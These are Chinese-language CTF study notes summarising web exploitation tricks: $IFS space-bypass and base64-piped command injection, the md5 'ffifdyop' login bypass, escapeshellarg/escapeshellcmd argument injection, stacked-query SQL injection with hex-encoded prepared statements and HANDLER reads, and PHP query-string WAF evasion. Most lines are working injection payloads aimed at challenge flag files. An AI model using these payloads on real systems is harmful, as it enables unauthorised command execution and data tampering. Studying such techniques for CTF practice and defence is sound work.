CTF知識點總結(三)
命令執行
https://www.cnblogs.com/wangtanzhi/p/12246386.html
空格繞過方式:
$IFS
${IFS}
$IFS$數字
<
<>
三種繞過方式:
1.sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
2.變數拼接
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
3.內聯註釋(將反引號命令的結果作為輸入來執行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
md5()漏洞
ffifdyop,這個點的原理是 ffifdyop 這個字串被 md5 雜湊了之後會變成 276f722736c95d99e921722cf9ed621c,這個字串前幾位剛好是 ‘ or ‘6,
escapeshellarg()與escapeshellcmd()漏洞
<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
echo $a."<br/>".$b."<br/>".$c;
system($c);
?>
輸出
172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'
1.$a傳入的引數是172.17.0.2' -v -d a=1
2.經過escapeshellargs()處理後成為'172.17.0.2'' -v -d a=1' 即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。
3.經過escapeshellcmd()處理後成為'172.17.0.2''' -v -d a=1' 這是因為escapeshellcmd對以及最後那個不配對兒的引號進行了轉義
4.最後執行的是 '172.17.0.2''' -v -d a=1',由於中間的被解釋為而不再是轉義字元,所以後面的'沒有被轉義,與再後面的'配對兒成了一個空白連線符。
所以可以簡化為 172.17.0.2 -v -d a=1',即向172.17.0.2發起請求,POST 資料為a=1'。
這樣就能繞過過濾進行注入。
sql注入繞過關鍵字
獲取資訊
show databases;
show tables;
show columns from `table_name`;
修改表名
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
預編譯
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
另外,新知識,HANDLER ... OPEN
語句開啟一個表,使其可以使用後續HANDLER ... READ
語句訪問,該表物件未被其他會話共享,並且在會話呼叫HANDLER ... CLOSE
或會話終止之前不會關閉
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
preg_replace/e的命令執行漏洞
MYSQL特殊模式(set sql_mode=pipes_as_concat)
此模式下,輸出字串可以進行拼接
PHP字串解析特性(Easy Calc)
PHP將查詢字串(在URL或正文中)轉換為內部$_GET或的關聯陣列$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字串在解析的過程中會將某些字元刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。
假如waf不允許num變數傳遞字母:
http://www.xxx.com/index.php?num = aaaa //顯示非法輸入的話
那麼我們可以在num前加個空格:
http://www.xxx.com/index.php? num = aaaa
這樣waf就找不到num這個變量了,因為現在的變數叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的程式碼還能正常執行,還上傳了非法字元。
另外scandir()可列出目錄和檔案,scandir(/)掃描目錄下所有檔案,如果 / 被過濾,可以用char(47)繞過